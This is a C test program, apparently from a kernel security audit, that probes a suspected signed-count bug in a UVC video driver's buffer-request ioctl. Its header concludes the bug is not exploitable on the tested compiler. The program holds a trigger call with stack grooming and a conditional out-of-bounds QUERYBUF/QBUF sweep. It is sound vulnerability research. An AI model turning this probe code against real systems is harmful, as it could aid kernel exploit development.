DF-5434 / trig5434.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * trig5434.c - NEGATIVE-EVIDENCE probe for the signed-count candidate in * uvc_buf_queue_req_bufs() (count >= 0x80000000 => int num < 0 => clamp * skipped, alloc loop skipped, `mem' uninitialized, buf_count would be * sign-extended). * * RESULT (guest, shipping gcc): the uninitialized `mem' read is folded by * the compiler into a deterministic ENOMEM -- no wild bq->mem, no * sign-extended buf_count (bq->mem stays NULL, buf_count stays 0). * objdump of the built module shows the fold explicitly: * 172a: movslq %r12d,%rdi ; jg 1635 <- signed num > 0 ? alloc : ... * 1733: jmpq 1688 * 1688: mov $0xc,%r12d <- ret = ENOMEM, done * The candidate is therefore Info-level hardening (fix the UB), not an * exploitable memory-safety bug on this toolchain. * * The QBUF/QUERYBUF sweep below is kept to document what WOULD happen if * a future compiler left genuine garbage in `mem': every index check is * `vbuf->index >= bq->buf_count' and would be dead for buf_count = * 0xFFFFFFFF80000000. */ #include <sys/types.h> #include <sys/ioctl.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #define V4L2_BUF_TYPE_VIDEO_CAPTURE 1 #define V4L2_MEMORY_MMAP 1 struct v4l2_requestbuffers_m { uint32_t count; uint32_t type; uint32_t memory; uint32_t reserved[2]; }; /* 20 bytes */ struct v4l2_buffer_m { uint32_t index; uint32_t type; uint32_t bytesused; uint32_t flags; uint32_t field; uint32_t pad1; int64_t tv_sec; int64_t tv_usec; uint32_t tc[4]; uint32_t sequence; uint32_t memory; uint32_t pad2; uint64_t m_offset; uint32_t length; uint32_t input; uint32_t reserved; uint32_t pad3; }; /* 88 bytes, amd64 mirror */ #define VIDIOC_REQBUFS _IOWR('V', 8, struct v4l2_requestbuffers_m) #define VIDIOC_QUERYBUF _IOWR('V', 9, struct v4l2_buffer_m) #define VIDIOC_QBUF _IOWR('V', 15, struct v4l2_buffer_m) static int devfd = -1; static int reqbufs(uint32_t count, uint32_t *out) { struct v4l2_requestbuffers_m rb; memset(&rb, 0, sizeof(rb)); rb.count = count; rb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; rb.memory = V4L2_MEMORY_MMAP; if (ioctl(devfd, VIDIOC_REQBUFS, &rb) != 0) return (-1); if (out) *out = rb.count; return (0); } int main(void) { struct v4l2_buffer_m vb; uint32_t got = 0; int i, r; devfd = open("/dev/video96", O_RDWR); if (devfd < 0) { printf("NEG5434: open /dev/video96: %s (uid=%d)\n", strerror(errno), getuid()); return (1); } printf("NEG5434: opened /dev/video96 as uid=%d\n", getuid()); for (i = 0; i < 4; i++) { reqbufs(1, NULL); /* stack groom: leave a real ptr */ r = reqbufs(0x80000000u, &got); printf("NEG5434: attempt %d: REQBUFS(0x80000000) ret=%d " "errno=%d(%s) count=0x%x\n", i, r, errno, strerror(errno), got); } if (r == 0) { printf("NEG5434: ARMED?! (compiler did NOT fold) - running " "the OOB sweep\n"); for (i = 8; i < 24; i++) { memset(&vb, 0, sizeof(vb)); vb.index = i; vb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; vb.memory = V4L2_MEMORY_MMAP; r = ioctl(devfd, VIDIOC_QUERYBUF, &vb); printf("NEG5434: QUERYBUF(%d) ret=%d errno=%d\n", i, r, errno); } memset(&vb, 0, sizeof(vb)); vb.index = 16; vb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; vb.memory = V4L2_MEMORY_MMAP; r = ioctl(devfd, VIDIOC_QBUF, &vb); printf("NEG5434: QBUF(16) ret=%d errno=%d\n", r, errno); } else { printf("NEG5434: confirmed ENOMEM fold - no wild bq->mem on " "this toolchain (see disassembly note in header)\n"); } return (0); } |